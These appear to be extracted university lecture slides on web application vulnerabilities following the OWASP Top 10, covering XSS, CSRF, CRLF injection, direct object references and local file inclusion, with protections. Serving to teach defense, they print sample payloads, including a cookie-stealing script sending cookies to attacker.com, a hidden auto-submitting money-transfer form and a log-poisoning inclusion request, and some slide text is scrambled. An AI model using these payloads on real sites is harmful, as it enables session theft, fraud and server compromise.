VSSD04 web vulnerabilities
VSSD04 web vulnerabilities
VULNERABILITIES
Software Security
Pedro Adão 2023/24
(with Ana Matos & Miguel Pupo Correia)
4
WWW introduction (2)
• two types of HTTP messages: request, response
• HTTP request message:
– ASCII (human-readable format) carriage return character
line-feed character
request line
(GET, POST, ... GET /index.html HTTP/1.1\r\n
commands) Host: www.tecnico.ulisboa.pt\r\n
header User-Agent: Firefox/3.6.10\r\n
lines Accept-Language: en-us,en;q=0.5\r\n
Connection: keep-alive\r\n
\r\n
carriage return,
line feed at start optional body goes here
of line indicates (no body in GET requests)
end of header lines 5
WWW introduction (3)
• web pages often include forms; how is input sent to server?
POST method:
• input is sent to the server in the body of the request
GET method:
• input is sent to the server in the URL in the request
www.site.com/animalsearch.php?animal=monkey&food=banana
6
WWW introduction (4)
• Basic model is stateless, i.e., server keeps no state
– …but state is needed in all but basic Web applications
– Example state information:
– is the user logged in?
– which is the user’s account?…
• State tracking:
– Basic idea: server gives client an ID that it has to include in every
request (server stores state info for each ID)
– In practice this is not so simple and has historically generated many
vulnerabilities
7
OWASP Top 10 vulnerabilities
8
A03-Injection Flaws
• Several kinds:
– SQL Injection (most prevalent, but we leave it for next class)
– Others: XML, LDAP, XPath, XSLT, HTML, OS command
injection, etc
• Main idea: web server accepts input that is badly
interpreted by some interpreter
– Examples of interpreters: DBMS, XML, LDAP,…
9
XML injection
A password file: Final password file:
<users> <users>
<user> <user>
<name>alice</name> <name>alice</name>
<pwd>foo</pwd> <pwd>foo</pwd>
</user> </user>
<user> <user>
<name>bob</name> <name>bob</name>
<pwd>bar</pwd> <pwd>bar</pwd>
</user> </user>
</users> <user>
<name>eve</name>
User bob (malicious) changes his own password to: <pwd>baz</pwd>
</user>
bar</pwd></user><user><name>eve</ </users>
name><pwd>baz
10
PHP code injection / OS command inj.
• Real example: Yahoo! vulnerability (Jan. 2014)
• eval is a PHP function that executes PHP code
– If input is passed into eval…
OWASP Top 10 2013 and 2017: Broken Authentication and Session Management [A3]
changed places with XSS [A2] because the impact is higher, but there are more XSS
vulnerabilities
12
XSS types
1. Reflected XSS (or non-persistent)
page reflects user supplied data directed to the user’s browser
PHP: echo $_REQUEST[‘username’];
ASP: <%= Request.QueryString(“username”) %>
13
1- Reflected XSS
• Cross-site scripting (XSS)
– User does not trust email scripts but trusts a (vulnerable) site
– The idea is to make a user trust untrustworthy data from server
email Attacker
Victim:
URL w/
evil scri
pt
“click here” vulnerable web application that shows
g e w /evil the queried string
pa le cted
re f
script http://www.vulnerable.com/?search=
%3Cscript%3Ealert%28%22hello%22%29%3C%2Fscript%3E
http://www.vulnerable.com/welcome.php?name=Joe
>
Response page:
<HTML>
<Title>Welcome!</Title>
Hi
Joe<BR>
Welcome to our system
...
</HTML>
15
1- Reflected XSS
Normal request:
http://www.vulnerable.com/welcome.php?name=<script>alert(“hello”)</script>
<HTML>
<Title>Welcome!</Title>
Hi
<script>alert(“hello”)</script><BR>
Welcome to our system
...
</HTML>
16
Useful script: getting cookies
Cookies often used as session IDs, so if hacker gets them…
Normal request:
http://www.vulnerable.com/welcome.php?name=
<script>window.open(“http://www.attacker.com/collect.php?cookie=”+document.cookie)</script>
>
This JS script sends a request to
Response page: www.attacker.com/collect.php
with the values of the cookies the
<HTML> browser has for www.vulnerable.com
<Title>Welcome!</Title>
Hi <script>
window.open(“http://www.attacker.com/collect.php?cookie=”+document.cookie)
</script><BR>
Welcome to our system
... Cookies may have the HttpOnly attribute set
</HTML> In this case, they cannot be accessed via JS
17
Useful script: getting user/pass
Vulnerable ASP page (reflects “name” param. in URL)
<HTML>
<Title>Welcome!</Title>
Hi <%= Request.QueryString(“name”) %>!<p>
...
%3Cform%20action=%221.2.3.4%22%3E%0A
%3Cp%3EEnter%20Password:%3Cbr%3E%3Cinput%20name=%22password%22%3E%0A
%3Cbr%3E%3Cinput%20type=%22submit%22%3E%3C/form%3E
18
Obfuscating the script
A request to a site that displays username after log in:
http://vulnerable.com/welcome.php?name=Joe
19
2- Stored XSS
• Scripts can be similar to the previous ones
Attacker
page
w eb
n
c r ipt i
s
evil
21
DOM based XSS example
Page at http://www.vulnerable.com/welcome.html
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT><BR>
Welcome to our system...</HTML>
Normal request:
http://www.vulnerable.com/welcome.html?name=Joe
Malicious request:
http://www.vulnerable.com/welcome.html?name=<script>alert(document.cookie)</script>
<body onload=alert('bum!')>
24
XSS in error pages
Web page to display 404 error (page not found)
<html><body>
<? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?>
</body></html>
The attacker inserts a carriage return (CR) and a life feed (LF)
creating a new field in the header, or
a second response HTTP response splitting
HTTP/1.1 200 OK
Date: Wed, 24 Dec 2013 12:53:28 GMT
Content-Type: text/html; charset=utf-8
Result of
redirection
Content-Length: XYZ
Connection: Keep-Alive
<html>…</html>
CRLF injection (3)
Bad input (instead of lang=English)
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0a
HTTP/1.1%20200%20OK%0d%0a Shown in different
Content-Type:%20text/html%0d%0a lines for convenience
Content-Length:%2017%0d%0a%0d%0a<html>BUM!</html>…
Split response
HTTP/1.1 302 Moved Temporarily browser thinks this is
Date: Wed, 24 Dec 2013 15:26:41 GMT the reply to the request
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
And that this is the result of the redirection
HTTP/1.1 200 OK
Content-Type: text/html Can also hit other users:
Content-Length: 17 Cross-User Defacement: 2 users using a proxy,
proxy sends the 2nd response to the other user
<html>BUM!</html> Cache Poisoning: proxy stores 2nd response and
resends it later
Malicious script goes here!
Protection from XSS (I)
Input validation (at the server)
• Validate input data length, type, syntax, business rules
• Accept known good / whitelisting
• Decode and canonicalize input before validating
Strong output encoding
All user supplied data has to be encoded
<script>alert(“TEST");</script>
should be transformed in
<script>alert("TEST");</script>
29
Protection from XSS (II)
Content Security Policy (level 2)
W3C recommendation (level 3 published recently)
Allows mitigating XSS, but not 1st line of defense
Server delivers a policy to the client in 2 header fields:
Content-Security-Policy – client must enforce policy
Content-Security-Policy-Report-Only – monitoring only
30
Input Validation Vulnerabilities
A1 and A2 are input validation vulnerabilities
i.e., proper validation would remove the vulnerability
Similar patterns in code: propagates taintedness:
input is always potentially tainted
missing other sensitive
read input
validation instructio sink
]; …; q)
;
’ u $
er s .$ ” y(
r
‘u C T… ue
………………..………SQL
GE
T [ injection…………………………………………………..
EL
E l_
q
$_ “S y sq
= ; = m
$u r ’] $ q r
=
se u;
$
[ ‘u $ ;
…………………….Cross
G ET Site Scripting……….………………………………………
i
”. $ q)
$_ “H o(
= = e ch
$u $q 31
Broken Authentication and Session Management
HTTP stateless but state needed => sessions
E.g., shopping cart in online shopping application
Basic idea:
User authenticates himself (login page)
A session starts
Server stores user info and state of the session in a table
37
Direct object reference – file
Direct reference to file in web page:
<select name="language"><option value="fr">Francais</option
38
Direct object references – key
Direct reference to key in database
int cardID = Integer.parseInt(request.getParameter("cardID"));
String query = "SELECT * FROM table WHERE cardID=" + cardID
An attacker can provide any cardID
39
Direct object references – protection
Protection:
Never expose object references, e.g., access database using
session ID
Do proper access control, i.e., check if user has access to data
40
A5 – Cross Site Request Forgery (CSRF)
Alternative names:
XSRF, Session Riding, …
Case of confused deputy attack: a program is fooled by an attacker into
misusing its authority
Vulnerability:
Many sites do certain actions based on automatically submitted, fixed, ID,
typically a session cookie
Attack:
force user to execute unwanted actions in a vulnerable site in which he/she is
authenticated
can be done by sending a link by email or chat
41
CSRF (I) attacker
victim
(logged in) session identified by a cookie,
is sent with requests
(this is a simplification.
Current browser protections
may prevent this attack)
Victim is logged in vulnerable.com
Victim follows attacker’s link (by clicking it in an email, accessing attacker.com, …) containing
http://vulnerable.com/transfmoney?quant=10000&dest=ATTACKER
43
CSRF (III) — Protection
• Cookies are attached to Cross-site requests depending on the value of the SameSite attribute
• Strict will never be sent
• Lax are sent in top-level navigations (default if no value is set)
• None do behave as before
44
CSRF (IV)
<html>
<head>
<script type='application/javascript'>
Can be hidden in a 0-sized iframe
function execute() {
var form = document.getElementById('attack');
<iframe src="attack.html" width="0" height=“0">
if (form) { form.submit(); }
</iframe>
}
</script>
</head>
<body onload="execute()">
<form action='http://vulnerable.com' method='POST' id='attack'>
<input type='hidden' name='quant' value='100000'/>
<input type='hidden' name='dest' value='ATTACKER'/>
<input type='submit'/>
</form>
</body>
</html>
45
A6 – Security misconfiguration
• Misconfiguration vulnerabilities can exist at any level
– OS, web server, application server, framework, custom code
47
A7 – Failure to Restrict URL Access
• Vulnerability:
– Pages that are “protected” simply by being inaccessible from the “normal” web tree
(security by obscurity); examples:
• “Hidden” URLs for administration that in fact are accessible to anyone that knows about them (e.g., /admin/
adduser.php)
• “Hidden” files such as static XML or system generated reports
• Attack:
– forced browsing: guess links and brute force to find unprotected pages
• Protection:
– Good access control
– No “hidden” pages as form of protection
• Eg, make sure admin-only pages are only accessible to admins instead of hidding it
48
A8 – Unvalidated Redirects and Forwards
• Applications frequently redirect users to other pages
– Sometimes the target page is specified in an unvalidated parameter,
allowing attackers to choose the destination page
– May fool the victim into believing that it is accessing a safe website, when
it is accessing a malicious site for phishing or to install malware
Unvalidated Redirects and Forwards (2)
• Example
– App has page called redirect.jsp which takes a single parameter named url
– Attacker crafts a malicious URL that redirects users to a malicious site that performs
phishing and installs malware; url looks good except for the end
http://www.vulnerable.com/redirect.jsp?url=evil.com
50
Unvalidated Redirects and Forwards (3)
• Example
– App has a page config.php with some restricted access
– App has page called end.php which takes a single parameter named url and redirects it to
end1.php, end2.php, or end3.php
http://www.vulnerable.com/end.php?url=end1.php
• Prevention:
– avoid redirects/forwards; avoid using inputs in them; validate inputs
51
A9 – Insecure Cryptographic Storage
• Vulnerabilities (most common):
– Sensitive data not encrypted
– Use of home grown algorithms. BAD! VERY BAD IDEA!
– Use of known weak algorithms (MD5, RC3, RC4,…, SHA-1)
– Good algorithms badly used
– Hard-coding keys and storing keys in unprotected stores
• Protection:
NIST SP 800-131A “Transitioning the
– Do the contrary… Use of Cryptographic Algorithms and
Key Lengths”, Revision 2, March 2019
52
A10 – Insecure Transport Layer Protection
• Vulnerability:
– Sensitive traffic not encrypted (over Internet and backend)
– Authenticated sessions not encrypted
– HTTPS used only for authentication, not afterwards
• Protection:
– Use HTTPS
53
Extra: Local file inclusion (PHP)
• Also allows running PHP code at the server
– Became popular when RFI became harder
– If not possible to provide remote file, just provide a local one…
• How to insert a bad file at the server:
– Upload if site allows it (pdf or another, the file extension doesn’t matter)
– Insert it in the log: http://vulnerable.com/<?php+phpinfo();+?>
file does not exist so request is logged in error_log (Apache)
• Vulnerable site – the same (http://vulnerable.com):
$country = $_GET[‘Country’];
include( $country . ‘.php’ );
• Mallicious use:
http://vulnerable.com/main.php?Country=/var/log/httpd/error_log%00
The PHP runtime executed PHP and disregards the rest
54
Extra: Improper error handling
• Example, just by asking for non-existing page:
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2
Server at localhost Port 80
– Next the attacker can go looking for vulnerabilities in these packages/versions
• Protection:
– Define homogeneous error handling procedures
– Limit error information
55
Extra: Browser security
• Raising interest more recently, but not less important
• Vulnerabilities in the browser allows attacks
– e.g., at engines of: Java, ActiveX, Flash
• Some attacks
– Drive-by download / drive-by malware – visiting a website that contains a
page that exploits a vulnerability that installs malware
– Malicious plug-ins, applets, ActiveX controls, fake codecs…
– Man-in-the-Browser (MitB) – malware that infects the browser and
modifies pages, transactions, etc.
56
Summary
• WWW basics
• Top 10 vulnerabilities:
– injection, XSS, authentication / session management, direct object
reference, …
• Other vulnerabilities
57